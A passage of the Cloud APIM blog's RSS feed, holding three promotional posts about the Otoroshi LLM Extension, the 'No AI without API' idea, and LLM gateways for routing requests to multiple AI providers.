Face.</description><pubDate>Mon, 30 Jun 2025 07:51:43 GMT</pubDate><content:encoded>&lt;h2 id=&quot;-what-is-the-otoroshi-llm-extension&quot;&gt;🔍 What Is the Otoroshi LLM Extension?&lt;/h2&gt;
&lt;p&gt;The &lt;strong&gt;Otoroshi LLM Extension&lt;/strong&gt; by &lt;a href=&quot;https://www.cloud-apim.com&quot;&gt;&lt;strong&gt;Cloud APIM&lt;/strong&gt;&lt;/a&gt; is a groundbreaking module that enhances the capabilities of the &lt;a href=&quot;https://github.com/MAIF/otoroshi&quot;&gt;open-source API Gateway &lt;strong&gt;Otoroshi&lt;/strong&gt;,&lt;/a&gt; turning it into a powerful &lt;strong&gt;AI Gateway&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;It enables a complete integration with leading &lt;strong&gt;large language model (LLM)&lt;/strong&gt; providers such as &lt;a href=&quot;https://cloud-apim.github.io/otoroshi-llm-extension/docs/llm-gateway/providers&quot;&gt;&lt;strong&gt;OpenAI, Mistral, Anthropic, Azure, Hugging Face&lt;/strong&gt;&lt;/a&gt;, and much more providers : all through a unified API.&lt;/p&gt;
&lt;p&gt;This innovation brings &lt;strong&gt;AI-native API management&lt;/strong&gt; to the forefront, letting companies integrate conversational AI, generative models, and intelligent services directly into their infrastructure.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;best-features-from-the-otoroshi-llm-extension&quot;&gt;Best features from the Otoroshi LLM Extension&lt;/h2&gt;
&lt;h3 id=&quot;multi-provider-ai-compatibility&quot;&gt;Multi-Provider AI Compatibility&lt;/h3&gt;
&lt;p&gt;Easily switch or combine multiple LLMs like &lt;a href=&quot;https://cloud-apim.github.io/otoroshi-llm-extension/docs/llm-gateway/providers&quot;&gt;GPT from OpenAI, Claude, Mistral&lt;/a&gt;, your own internal company models or open-source models via a &lt;strong&gt;single standardized API&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;This reduces vendor lock-in and increases flexibility for &lt;strong&gt;AI workflows&lt;/strong&gt;.&lt;/p&gt;
&lt;h3 id=&quot;advanced-prompt-engineering--controls&quot;&gt;Advanced Prompt Engineering &amp;#x26; Controls&lt;/h3&gt;
&lt;p&gt;Create dynamic prompts using templates, inject real-time context, and enforce &lt;strong&gt;“prompt guardrails”&lt;/strong&gt; to sanitize inputs/outputs. Ideal for &lt;strong&gt;data privacy, compliance&lt;/strong&gt;, and &lt;strong&gt;response reliability&lt;/strong&gt;.&lt;/p&gt;
&lt;h3 id=&quot;ai-governance--security&quot;&gt;AI Governance &amp;#x26; Security&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Per-service and per-user LLM token quotas&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Role-based access control and moderation&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Full auditing and request tracing&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Integration with existing &lt;a href=&quot;https://www.otoroshi.io/&quot;&gt;&lt;strong&gt;Otoroshi&lt;/strong&gt;&lt;/a&gt; rules for fine-grained &lt;strong&gt;API-level governance&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;-cost-optimization--performance&quot;&gt;📊 Cost Optimization &amp;#x26; Performance&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Track &lt;a href=&quot;https://cloud-apim.github.io/otoroshi-llm-extension/docs/cost-optimizations/quotas&quot;&gt;token usage&lt;/a&gt; and cost per LLM request&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Use &lt;a href=&quot;https://cloud-apim.github.io/otoroshi-llm-extension/docs/cost-optimizations/semantic-cache&quot;&gt;&lt;strong&gt;semantic caching&lt;/strong&gt;&lt;/a&gt; to avoid redundant calls&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Apply retry policies and load balancing to maintain stability&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id=&quot;easy-to-install-with-cloud-apim-and-clever-cloud&quot;&gt;Easy to install with Cloud APIM and Clever Cloud&lt;/h2&gt;
&lt;p&gt;The Otoroshi LLM Extension is fully integrated into &lt;a href=&quot;https://www.cloud-apim.com/otoroshi-managed&quot;&gt;&lt;strong&gt;Cloud APIM’s managed Otoroshi platform&lt;/strong&gt;,&lt;/a&gt; available as a &lt;a href=&quot;https://www.cloud-apim.com/serverless&quot;&gt;&lt;strong&gt;serverless AI Gateway&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Since &lt;strong&gt;December 2024&lt;/strong&gt;, it can also be deployed via &lt;a href=&quot;https://www.clever-cloud.com/blog/features/2024/12/17/otoroshi-with-llm-simplify-your-api-and-ai-service-management-on-clever-cloud/&quot;&gt;&lt;strong&gt;Clever Cloud&lt;/strong&gt;&lt;/a&gt; in just minutes with the “Otoroshi LLM extension” add-on.&lt;/p&gt;
&lt;h2 id=&quot;use-cases&quot;&gt;Use Cases&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;AI-Powered API Workflows&lt;/strong&gt;: Centralize prompt routing, response formatting, and LLM usage across multiple APIs.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Secure Chatbots &amp;#x26; Agents&lt;/strong&gt;: Deploy moderated, auditable conversational agents for support or business operations.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Smart Routing&lt;/strong&gt;: Offload routine tasks to Mistral/Ollama, reserve GPT-4 for critical operations.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Compliance &amp;#x26; Audit-Ready AI APIs&lt;/strong&gt;: Build trustworthy AI features for regulated environments (finance, healthcare, etc.).&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id=&quot;why-it-matters&quot;&gt;Why It Matters&lt;/h2&gt;
&lt;p&gt;In a world where &lt;strong&gt;AI and APIs&lt;/strong&gt; are becoming inseparable, the &lt;a href=&quot;https://cloud-apim.github.io/otoroshi-llm-extension/&quot;&gt;Otoroshi LLM Extension&lt;/a&gt; offers a &lt;strong&gt;secure, scalable, and efficient&lt;/strong&gt; foundation for next-generation applications.&lt;/p&gt;
&lt;p&gt;You can build intelligent microservices, craft interactive user experiences, and automate backend operations&lt;/p&gt;
&lt;p&gt;🔗 Learn more: &lt;a href=&quot;https://cloud-apim.github.io/otoroshi-llm-extension/docs/overview&quot;&gt;Otoroshi LLM Extension Documentation&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&quot;-stay-connected&quot;&gt;&lt;strong&gt;📡 Stay Connected&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Follow our blog for the latest updates, tips, and best practices for our products.&lt;/p&gt;
&lt;h3 id=&quot;-about-cloud-apim&quot;&gt;&lt;strong&gt;🏢 About Cloud APIM&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cloud-apim.com/&quot;&gt;Cloud APIM&lt;/a&gt; provides &lt;a href=&quot;https://console.cloud-apim.com/deployments&quot;&gt;cutting-edge, managed solutions for API management&lt;/a&gt;, enabling businesses to leverage the full power of their APIs with ease and efficiency.&lt;/p&gt;
&lt;p&gt;Our commitment to innovation and excellence drives us to offer &lt;a href=&quot;https://console.cloud-apim.com/serverless/projects&quot;&gt;the most advanced tools&lt;/a&gt; and &lt;a href=&quot;https://console.cloud-apim.com/wasmo_deployments&quot;&gt;services&lt;/a&gt; to our customers, empowering them to achieve their digital transformation goals.&lt;/p&gt;
&lt;h3 id=&quot;cloud-apim-products&quot;&gt;Cloud APIM Products&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cloud-apim.com/&quot;&gt;&lt;strong&gt;Otoroshi Managed Instances&lt;/strong&gt;&lt;/a&gt; &lt;strong&gt;:&lt;/strong&gt; Fully managed &lt;a href=&quot;https://maif.github.io/otoroshi/manual/about.html&quot;&gt;Otoroshi&lt;/a&gt; clusters, perfectly configured and optimized, ready in seconds&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cloud-apim.com/serverless&quot;&gt;&lt;strong&gt;Serverless&lt;/strong&gt;&lt;/a&gt; enables scalable deployments without infrastructure management.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cloud-apim.com/authify&quot;&gt;&lt;strong&gt;Authify&lt;/strong&gt;&lt;/a&gt; simplifies authentication with quick and secure integration.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; sizes=&quot;(min-width: 256px) 256px, 100vw&quot; width=&quot;256&quot; height=&quot;256&quot; src=&quot;https://blog.cloud-apim.com/_astro/01-0333c0.DsU7Gazg_6iiyf.webp&quot; srcset=&quot;https://blog.cloud-apim.com/_astro/01-0333c0.DsU7Gazg_6iiyf.webp 256w&quot;&gt;&lt;/p&gt;</content:encoded><dc:creator>Thomas Delafaye</dc:creator><dc:language>en</dc:language><category>Otoroshi LLM</category><category>Otoroshi</category><category>LLM</category><category>AI gateway</category><category>Cloud APIM</category><enclosure url="https://blog.cloud-apim.com/_astro/cover.Vzze-pwL_1st5Tm.jpg" length="0" type="image/jpeg"/></item><item><title>No AI without API : AI + API = ❤️</title><link>https://blog.cloud-apim.com/no-ai-without-api</link><guid isPermaLink="true">https://blog.cloud-apim.com/no-ai-without-api</guid><description>Discover why the phrase &apos;No AI Without API&apos; is more than just a slogan. Learn how APIs are crucial for integrating, scaling, and managing AI solutions.</description><pubDate>Mon, 28 Oct 2024 08:50:29 GMT</pubDate><content:encoded>&lt;p&gt;In the age of digital transformation, the phrase &lt;strong&gt;“No AI Without API”&lt;/strong&gt; has become a crucial concept for understanding how artificial intelligence (AI) works seamlessly with modern software systems.&lt;/p&gt;
&lt;p&gt;The symbiotic relationship between &lt;strong&gt;APIs (Application Programming Interfaces)&lt;/strong&gt; and AI is central to making AI technologies more accessible, scalable, and integrated into business operations.&lt;/p&gt;
&lt;p&gt;This article explores why APIs are fundamental to AI, the benefits they provide, and real-world examples of their impact.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;what-is-an-api-and-why-is-it-important-for-ai&quot;&gt;What is an API and Why is it Important for AI?&lt;/h3&gt;
&lt;p&gt;An &lt;strong&gt;API (Application Programming Interface)&lt;/strong&gt; is a set of rules and protocols that allows different software applications to communicate with each other.&lt;/p&gt;
&lt;p&gt;Essentially, APIs enable one application to access data or functionality from another, making it easier to integrate different systems.&lt;/p&gt;
&lt;p&gt;When it comes to AI, APIs act as the bridge that connects AI models and algorithms to real-world applications, providing a structured way to implement AI functionalities without reinventing the wheel.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;APIs play a pivotal role in AI integration&lt;/strong&gt; because they simplify the deployment of AI-powered solutions by enabling developers to use pre-built AI capabilities.&lt;/p&gt;
&lt;p&gt;This means companies don’t need extensive AI expertise to embed intelligent features like &lt;strong&gt;natural language processing (NLP), image recognition&lt;/strong&gt;, or &lt;strong&gt;predictive analytics&lt;/strong&gt; into their software.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;the-symbiotic-relationship-how-apis-enable-ai-adoption&quot;&gt;The Symbiotic Relationship: How APIs Enable AI Adoption&lt;/h3&gt;
&lt;p&gt;The connection between APIs and AI goes beyond just integration; they are interdependent in driving the growth of intelligent systems. Here’s how APIs are essential for adopting and scaling AI:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Access to Data: Fueling AI Development&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;AI systems need data to learn and improve&lt;/strong&gt;, and APIs make it easier to access data from various sources.&lt;/p&gt;
&lt;p&gt;By standardizing how data is shared across different platforms, APIs ensure that AI models can quickly process and analyze vast datasets to deliver accurate predictions and insights.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Seamless Integration of AI Services&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;APIs simplify the process of integrating AI functionalities into existing applications.&lt;/p&gt;
&lt;p&gt;Businesses can leverage APIs from &lt;strong&gt;AI service providers like OpenAI&lt;/strong&gt; to add intelligent features such as chatbots, image classification, or language translation to their products.&lt;/p&gt;
&lt;p&gt;This &lt;strong&gt;plug-and-play approach&lt;/strong&gt; reduces development time and costs.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Scalability and Flexibility&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;APIs offer a flexible way to scale AI capabilities as business needs evolve. Organizations can start with basic AI functionalities and, over time, add more sophisticated features by incorporating additional APIs or switching to different AI service providers.&lt;/p&gt;
&lt;p&gt;This modular approach allows for easier &lt;strong&gt;expansion and customization&lt;/strong&gt; of AI solutions.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Enhanced Interoperability Across Systems&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;In a world where businesses use a variety of software tools, APIs enable different systems to work together seamlessly.&lt;/p&gt;
&lt;p&gt;For example, an AI-powered &lt;strong&gt;customer relationship management (CRM)&lt;/strong&gt; system can use APIs to pull data from an &lt;strong&gt;ERP (Enterprise Resource Planning)&lt;/strong&gt; system for more personalized customer insights, improving overall decision-making processes.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h3 id=&quot;real-world-applications-apis-driving-ai-across-industries&quot;&gt;Real-World Applications: APIs Driving AI Across Industries&lt;/h3&gt;
&lt;p&gt;The importance of APIs in AI becomes clear when looking at how different industries use these technologies to transform their operations:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Healthcare&lt;/strong&gt;: AI-powered APIs are used to integrate &lt;strong&gt;predictive analytics and diagnostic tools&lt;/strong&gt; into electronic health records (EHR) systems, helping healthcare providers improve patient outcomes through data-driven insights.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Finance&lt;/strong&gt;: Financial institutions utilize APIs to embed AI in fraud detection, risk assessment, and customer service automation. This improves the efficiency and security of banking operations.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;E-Commerce&lt;/strong&gt;: Online retailers use AI APIs to enhance &lt;strong&gt;product recommendations, inventory management&lt;/strong&gt;, and &lt;strong&gt;personalized marketing&lt;/strong&gt;, creating a more engaging and efficient shopping experience for customers.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id=&quot;why-no-ai-without-api-is-the-new-normal&quot;&gt;Why No AI Without API is the New Normal&lt;/h3&gt;
&lt;p&gt;The phrase &lt;strong&gt;“No AI Without API”&lt;/strong&gt; underscores a new reality in the tech world: AI’s true potential can only be realized through &lt;strong&gt;effective API management and integration&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Here are some reasons why this is now the norm:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Faster Time-to-Market&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;By leveraging pre-built AI capabilities via APIs, companies can launch AI-powered features more quickly, gaining a competitive advantage. This significantly reduces development time compared to building AI models from scratch.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Cost Efficiency&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;APIs lower the barrier to entry for implementing AI, making it more accessible to small and medium-sized businesses. Instead of investing heavily in data science teams, companies can use APIs to bring AI-driven functionalities to their applications at a fraction of the cost.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Standardization and Consistency&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;APIs promote a standardized approach to integrating AI across different platforms and services, ensuring consistency in performance and results. This reduces the complexity involved in managing disparate AI tools and technologies.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h3 id=&quot;the-future-of-ai-and-apis-trends-and-opportunities&quot;&gt;The Future of AI and APIs: Trends and Opportunities&lt;/h3&gt;
&lt;p&gt;Looking ahead, the relationship between &lt;strong&gt;AI and APIs&lt;/strong&gt; will continue to evolve, with trends such as:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Automated API generation&lt;/strong&gt;: Tools that automatically generate APIs for AI models will streamline integration processes even further, allowing for &lt;strong&gt;rapid deployment of AI capabilities&lt;/strong&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;API marketplaces for AI services&lt;/strong&gt;: These platforms will offer curated AI functionalities accessible through standardized APIs, enabling companies to find and implement AI solutions more easily.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Enhanced security measures&lt;/strong&gt;: As AI-powered APIs become more widespread, there will be a greater focus on implementing security protocols to protect data and ensure compliance with regulatory standards.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h3&gt;
&lt;p&gt;The concept of &lt;strong&gt;“No AI Without API”&lt;/strong&gt; reflects the essential role APIs play in the development and deployment of AI solutions.&lt;/p&gt;
&lt;p&gt;They enable seamless data access, simplify the integration of AI services, and allow businesses to scale their AI capabilities efficiently.&lt;/p&gt;
&lt;p&gt;As AI continues to shape the future of technology, the synergy between &lt;strong&gt;APIs and AI&lt;/strong&gt; will be critical in driving innovation across industries.&lt;/p&gt;
&lt;p&gt;Embracing this relationship ensures that companies can stay ahead in the competitive landscape by &lt;strong&gt;unlocking the full potential of AI&lt;/strong&gt; through &lt;strong&gt;effective API management&lt;/strong&gt;.&lt;/p&gt;
&lt;h3 id=&quot;-stay-connected&quot;&gt;&lt;strong&gt;📡 Stay Connected&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Follow our blog for the latest updates, tips, and best practices for &lt;strong&gt;Cloud APIM Authify&lt;/strong&gt;.&lt;/p&gt;
&lt;h3 id=&quot;-about-cloud-apim&quot;&gt;&lt;strong&gt;🏢 About Cloud APIM&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cloud-apim.com/&quot;&gt;Cloud APIM&lt;/a&gt; provides &lt;a href=&quot;https://console.cloud-apim.com/deployments&quot;&gt;cutting-edge, managed solutions for API management&lt;/a&gt;, enabling businesses to leverage the full power of their APIs with ease and efficiency.&lt;/p&gt;
&lt;p&gt;Our commitment to innovation and excellence drives us to offer &lt;a href=&quot;https://console.cloud-apim.com/serverless/projects&quot;&gt;the most advanced tools&lt;/a&gt; and &lt;a href=&quot;https://console.cloud-apim.com/wasmo_deployments&quot;&gt;services&lt;/a&gt; to our customers, empowering them to achieve their digital transformation goals.&lt;/p&gt;
&lt;h3 id=&quot;cloud-apim-products&quot;&gt;Cloud APIM Products&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cloud-apim.com/&quot;&gt;&lt;strong&gt;Otoroshi Managed Instances&lt;/strong&gt;&lt;/a&gt; &lt;strong&gt;:&lt;/strong&gt; Fully managed &lt;a href=&quot;https://maif.github.io/otoroshi/manual/about.html&quot;&gt;Otoroshi&lt;/a&gt; clusters, perfectly configured and optimized, ready in seconds&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cloud-apim.com/serverless&quot;&gt;&lt;strong&gt;Serverless&lt;/strong&gt;&lt;/a&gt; enables scalable deployments without infrastructure management.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cloud-apim.com/wasmo&quot;&gt;&lt;strong&gt;Wasmo&lt;/strong&gt;&lt;/a&gt; brings lightweight &lt;a href=&quot;https://webassembly.org/&quot;&gt;WebAssembly&lt;/a&gt; execution.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cloud-apim.com/authify&quot;&gt;&lt;strong&gt;Authify&lt;/strong&gt;&lt;/a&gt; simplifies authentication with quick and secure integration.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; sizes=&quot;(min-width: 256px) 256px, 100vw&quot; width=&quot;256&quot; height=&quot;256&quot; src=&quot;https://blog.cloud-apim.com/_astro/01-0333c0.DsU7Gazg_6iiyf.webp&quot; srcset=&quot;https://blog.cloud-apim.com/_astro/01-0333c0.DsU7Gazg_6iiyf.webp 256w&quot;&gt;&lt;/p&gt;</content:encoded><dc:creator>Thomas Delafaye</dc:creator><dc:language>en</dc:language><category>AI</category><category>APIs</category><category>API management</category><category>API gateway</category><category>Cloud APIM</category><enclosure url="https://blog.cloud-apim.com/_astro/cover.Df6oQqF6_J48hz.jpg" length="0" type="image/jpeg"/></item><item><title>What are LLM AI Gateways ? Simplifying AI Integration for Modern API Management</title><link>https://blog.cloud-apim.com/what-are-llm-ai-gateways</link><guid isPermaLink="true">https://blog.cloud-apim.com/what-are-llm-ai-gateways</guid><description>Unlock the potential of Large Language Models (LLMs) with our comprehensive guide on LLM AI Gateways.</description><pubDate>Wed, 23 Oct 2024 09:00:28 GMT</pubDate><content:encoded>&lt;h2 id=&quot;introduction&quot;&gt;&lt;strong&gt;Introduction&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;AI have become omnipresent in our world, and allow us to drastically increase the capabilities of the tools we use on a daily basis.&lt;/p&gt;
&lt;p&gt;Integrating AI into our software solutions has become essential.&lt;/p&gt;
&lt;p&gt;Large Language Models (LLMs), such as GPT, have made impressive strides in enhancing natural language processing, enabling advanced AI-driven functionalities in various applications.&lt;/p&gt;
&lt;p&gt;But how do these powerful tools connect to existing systems efficiently ?&lt;/p&gt;
&lt;p&gt;That’s where &lt;strong&gt;LLM Gateways&lt;/strong&gt; come in. We will see through this article the usefulness of integrating them with an API gateway, secure and personalized according to your needs and those of your projects.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;-what-are-llm-gateways&quot;&gt;🔍 &lt;strong&gt;What are LLM Gateways?&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;LLM Gateways are specialized solutions that facilitate the integration of Large Language Models into existing applications and infrastructure.&lt;/p&gt;
&lt;p&gt;They act as intermediaries, making it easy to incorporate AI functionalities by providing secure and scalable connectivity to LLMs without the need for complex configurations.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;-how-llm-gateways-work&quot;&gt;🌐 &lt;strong&gt;How LLM Gateways Work&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;LLM Gateways streamline the communication between AI models and applications by offering the following features:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Unified Interface&lt;/strong&gt;: A common API that supports various LLMs, making it simpler for developers to switch between models and manage different AI services.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Efficient Routing&lt;/strong&gt;: Seamlessly route requests to different AI models based on use case, workload, or user requirements.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Security Controls&lt;/strong&gt;: Incorporate advanced security measures to manage data flow, ensuring that sensitive information is protected when communicating with AI services.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Scalability&lt;/strong&gt;: Enable high-performance scaling to accommodate fluctuating workloads and ensure smooth user experiences.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2 id=&quot;-benefits-of-using-llm-gateways&quot;&gt;💡 &lt;strong&gt;Benefits of Using LLM Gateways&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;Integrating LLM Gateways offers numerous advantages:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Faster Time-to-Market&lt;/strong&gt;: Quickly deploy AI-driven functionalities with minimal setup, accelerating development timelines.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Improved Developer Productivity&lt;/strong&gt;: Focus on creating innovative features rather than managing complex AI integration processes.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Cost Efficiency&lt;/strong&gt;: Optimize the use of AI resources by routing workloads to the most suitable models, helping control costs.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Enhanced Flexibility&lt;/strong&gt;: Easily switch between AI models or add new ones, adapting to changing requirements without disrupting operations.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id=&quot;-popular-use-cases-for-llm-gateways&quot;&gt;📊 &lt;strong&gt;Popular Use Cases for LLM Gateways&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;LLM Gateways open up a range of possibilities across different industries:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Customer Support Automation&lt;/strong&gt;: Enhance chatbot capabilities by integrating LLMs for more accurate and context-aware responses.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Content Generation&lt;/strong&gt;: Automate the creation of marketing materials, social media posts, or technical documentation using AI-driven language models.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Sentiment Analysis&lt;/strong&gt;: Leverage LLMs for analyzing user feedback, social media data, or customer reviews to gauge public sentiment and inform business strategies.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Personalized Recommendations&lt;/strong&gt;: Provide tailored product or content suggestions based on natural language inputs from users.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id=&quot;-llm-gateways-are-available-on-cloud-apim&quot;&gt;🎉 &lt;strong&gt;LLM Gateways are available on Cloud APIM&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;Looking to incorporate LLM Gateways into your projects ?&lt;/p&gt;
&lt;p&gt;Cloud APIM offers a comprehensive solution for integrating LLM capabilities, enabling seamless AI-driven enhancements across applications.&lt;/p&gt;
&lt;p&gt;With Cloud APIM, you can quickly connect to multiple LLM providers through a unified interface, ensuring your AI integrations are as flexible and scalable as your business demands.&lt;/p&gt;
&lt;p&gt;Our &lt;a href=&quot;https://www.cloud-apim.com/serverless&quot;&gt;Serverless&lt;/a&gt; offer and our &lt;a href=&quot;https://www.cloud-apim.com/otoroshi-managed&quot;&gt;Otoroshi managed instances&lt;/a&gt; directly allow you to create your own LLM gateways without hassle and without any technical skills.&lt;/p&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;&lt;strong&gt;Conclusion&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;LLM Gateways are shaping the future of AI integration, offering a streamlined approach to unlocking the full potential of language models. Whether for enhancing customer experiences, automating content creation, or driving insights from data, these gateways provide the tools needed to accelerate digital transformation. Start exploring LLM Gateways with Cloud APIM and take your AI capabilities to the next level.&lt;/p&gt;
&lt;h3 id=&quot;-stay-connected&quot;&gt;&lt;strong&gt;📡 Stay Connected&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Follow our blog for the latest updates, tips, and best practices for &lt;strong&gt;Cloud APIM Authify&lt;/strong&gt;.&lt;/p&gt;
&lt;h3 id=&quot;-about-cloud-apim&quot;&gt;&lt;strong&gt;🏢 About Cloud APIM&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cloud-apim.com/&quot;&gt;Cloud APIM&lt;/a&gt; provides &lt;a href=&quot;https://console.cloud-apim.com/deployments&quot;&gt;cutting-edge, managed solutions for API management&lt;/a&gt;, enabling businesses to leverage the full power of their APIs with ease and efficiency.&lt;/p&gt;
&lt;p&gt;Our commitment to innovation and excellence drives us to offer &lt;a href=&quot;https://console.cloud-apim.com/serverless/projects&quot;&gt;the most advanced tools&lt;/a&gt; and &lt;a href=&quot;https://console.cloud-apim.com/wasmo_deployments&quot;&gt;services&lt;/a&gt; to our customers, empowering them to achieve their digital transformation goals.&lt;/p&gt;
&lt;h3 id=&quot;cloud-apim-products&quot;&gt;Cloud APIM Products&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cloud-apim.com/&quot;&gt;&lt;strong&gt;Otoroshi Managed Instances&lt;/strong&gt;&lt;/a&gt; &lt;strong&gt;:&lt;/strong&gt; Fully managed &lt;a href=&quot;https://maif.github.io/otoroshi/manual/about.html&quot;&gt;Otoroshi&lt;/a&gt; clusters, perfectly configured and optimized, ready in seconds&lt;/p&gt;
